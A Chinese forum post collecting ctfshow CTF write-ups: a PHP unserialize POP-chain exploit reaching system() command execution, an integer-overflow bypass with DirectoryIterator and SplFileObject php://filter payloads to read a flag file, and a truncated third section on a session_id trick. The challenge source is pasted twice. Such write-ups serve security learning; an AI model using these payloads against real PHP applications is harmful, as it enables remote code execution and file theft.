ctfshow的一些wp

火影  金牌会员 | 2022-8-26 09:23:58 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 865|帖子 865|积分 2595

1. ctfshow  击剑杯 esaypop(反序列化构造pop链)

题目地址:https://ctf.show/challenges
题目源码:
highlight_file (FILE);
点击查看代码
  1. highlight_file (__FILE__);
  2. error_reporting(0);
  3. class action_1{
  4.     public $tmp;
  5.     public $fun = 'system';
  6.     public function __call($wo,$jia){
  7.         call_user_func($this->fun);
  8.     }
  9.     public function __wakeup(){
  10.         $this->fun = '';
  11.         die("阿祖收手吧,外面有套神");
  12.     }
  13.     public function __toString(){
  14.         return $this->tmp->str;
  15.     }
  16. }
  17. class action_2{
  18.     public $p;
  19.     public $tmp;
  20.     public function getFlag(){
  21.         if (isset($_GET['ctfshow'])) {
  22.             $this->tmp = $_GET['ctfshow'];
  23.         }
  24.         system("cat /".$this->tmp);
  25.     }
  26.     public function __call($wo,$jia){
  27.         phpinfo();
  28.     }
  29.     public function __wakeup(){
  30.         echo "<br>";
  31.         echo "php版本7.3哦,没有人可以再绕过我了";
  32.         echo "<br>";
  33.     }
  34.     public function __get($key){
  35.         $function = $this->p;
  36.         return $function();
  37.     }
  38. }
  39. class action_3{
  40.     public $str;
  41.     public $tmp;
  42.     public $ran;
  43.     public function __construct($rce){
  44.         echo "送给你了";
  45.         system($rce);
  46.     }
  47.     public function __destruct(){
  48.         urlencode($this->str);
  49.     }
  50.     public function __get($jia){
  51.         if(preg_match("/action_2/",get_class($this->ran))){
  52.             return "啥也没有";
  53.         }
  54.         return $this->ran->$jia();
  55.     }
  56. }
  57. class action_4{
  58.     public $ctf;
  59.     public $show;
  60.     public $jia;
  61.     public function __destruct(){
  62.         $jia = $this->jia;
  63.         echo $this->ran->$jia;
  64.     }
  65.     public function append($ctf,$show){
  66.         echo "<br>";
  67.         echo new $ctf($show);
  68.     }
  69.     public function __invoke(){
  70.         $this->append($this->ctf,$this->show);
  71.     }
  72. }
  73. if(isset($_GET['pop'])){
  74.     $pop = $_GET['pop'];
  75.     $output = unserialize($pop);
  76.     if(preg_match("/php/",$output)){
  77.             echo "套神黑进这里并给你了一个提示:文件名是f开头的形如fA6_形式的文件";
  78.             die("不可以用伪协议哦");
  79.         }
  80. }
  81. error_reporting(0);
  82. class action_1{
  83.     public $tmp;
  84.     public $fun = 'system';
  85.     public function __call($wo,$jia){
  86.         call_user_func($this->fun);
  87.     }
  88.     public function __wakeup(){
  89.         $this->fun = '';
  90.         die("阿祖收手吧,外面有套神");
  91.     }
  92.     public function __toString(){
  93.         return $this->tmp->str;
  94.     }
  95. }
  96. class action_2{
  97.     public $p;
  98.     public $tmp;
  99.     public function getFlag(){
  100.         if (isset($_GET['ctfshow'])) {
  101.             $this->tmp = $_GET['ctfshow'];
  102.         }
  103.         system("cat /".$this->tmp);
  104.     }
  105.     public function __call($wo,$jia){
  106.         phpinfo();
  107.     }
  108.     public function __wakeup(){
  109.         echo "<br>";
  110.         echo "php版本7.3哦,没有人可以再绕过我了";
  111.         echo "<br>";
  112.     }
  113.     public function __get($key){
  114.         $function = $this->p;
  115.         return $function();
  116.     }
  117. }
  118. class action_3{
  119.     public $str;
  120.     public $tmp;
  121.     public $ran;
  122.     public function __construct($rce){
  123.         echo "送给你了";
  124.         system($rce);
  125.     }
  126.     public function __destruct(){
  127.         urlencode($this->str);
  128.     }
  129.     public function __get($jia){
  130.         if(preg_match("/action_2/",get_class($this->ran))){
  131.             return "啥也没有";
  132.         }
  133.         return $this->ran->$jia();
  134.     }
  135. }
  136. class action_4{
  137.     public $ctf;
  138.     public $show;
  139.     public $jia;
  140.     public function __destruct(){
  141.         $jia = $this->jia;
  142.         echo $this->ran->$jia;
  143.     }
  144.     public function append($ctf,$show){
  145.         echo "<br>";
  146.         echo new $ctf($show);
  147.     }
  148.     public function __invoke(){
  149.         $this->append($this->ctf,$this->show);
  150.     }
  151. }
  152. if(isset($_GET['pop'])){
  153.     $pop = $_GET['pop'];
  154.     $output = unserialize($pop);
  155.     if(preg_match("/php/",$output)){
  156.             echo "套神黑进这里并给你了一个提示:文件名是f开头的形如fA6_形式的文件";
  157.             die("不可以用伪协议哦");
  158.         }
  159. }
复制代码
审计第一步找到有用的执行函数,找到action3里面的system,发现system在action3的析构函数中,也就是需要new action()才行,跟进找到action4中的append函数中包含 echo new $ctf($show); 而__invoke()函数调用的append,所以我们需要触发action4中的invoke函数,那就需要找到能将action4当做函数执行的,action2中的__get()方法就可以将控制$p为然后将$p当做函数执行,那么现在问题变成如何触发__get()方法,刚好action4里面有一句echo $this->ran->$jia;,那么如果让$ran赋值为类action2,而action2里面没有$jia,导致了触发__get()方法,所以这里就是是入口了
pop链为:action4中的$this->ran->$jia->action2中的__get()->action4中的__invoke()->append()->action3的system($rce);
然后再看传参,$rce就是传过来的$show,,所以$show=需要执行的命令
payload:
$obj4 = new action_4();
$obj2 = new action_2();
$obj4->ran = $obj2;
$obj2->p = $obj4;
$obj4->ran = $obj2;
$obj4->jia = '1';
$obj4->ctf = 'action_3';
$obj4->show = '语句';
echo urlencode(serialize($obj4));
这里的语句先执行find / -name f[A-z][0-9]_*,因为给的提示并不直接,饶了一下,直接找fA6_*是找不到的,然后发现文件名为fz3_.txt,再执行cat /fz3.txt(此处是我执行反弹shell失败了,不然的话不用踩这个文件名的坑)
ps:本体官方也有wp,不过思路有些不一样而已,这要是我想大佬咨询所得,仅当做个人学习的参考~
2. ctfhshow卷王杯 easyweb

打开通过页面源码提示获得源码
第一个绕过,让c=2^63-2=9223372036854775806(64位机),当++$c时达到int的最大值,这样$count[] = 1 就会溢出int的范围从而使得赋值失败,if语句为false
第二个绕过,使用DirectoryIterator类结合glob协议寻找flag:
a=DirectoryIterator&b=glob://flag[a-zA-Z0-9]*.php,获得真flag的文件名
使用SplFileObject结合伪协议读取flag内容:
a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag文件名
payload:
1.
c=9223372036854775806&a=DirectoryIterator&b=glob://flag[a-zA-Z0-9]*.php
2.
c=9223372036854775806&a=SplFileObject&b=php://filter/convert.base64-encode/resource=第一步得到的flag文件名
ps:还是向大佬咨询所得,太菜了,啥也不会~
3. ctfshow新春欢乐赛某些题解


  • web2
    源码如下:
    点击查看代码[code][/code]
可以POST传一个数组进去,而$$$$$${key($_POST)}这一段代码实际就是获得传进来的数组的key,也就是键值的值...然后作为call_user_func函数的参数。而我们需要该参数可控,可以传入一对键值相等的数组不就可以达到目的了,比如传入1=1,那么最后该参数一定是1,看到代码中有个session_start();,看了下cookie有个PHPSESSID,想到session_id()函数:

那么我们可以修改PHPSESSID=HappyNewYear,然后上传session_id=session_id就可以通过if了,下面是调试环节:
这是我修改一点后的本地复现代码:
    点击查看代码[code]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

火影

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表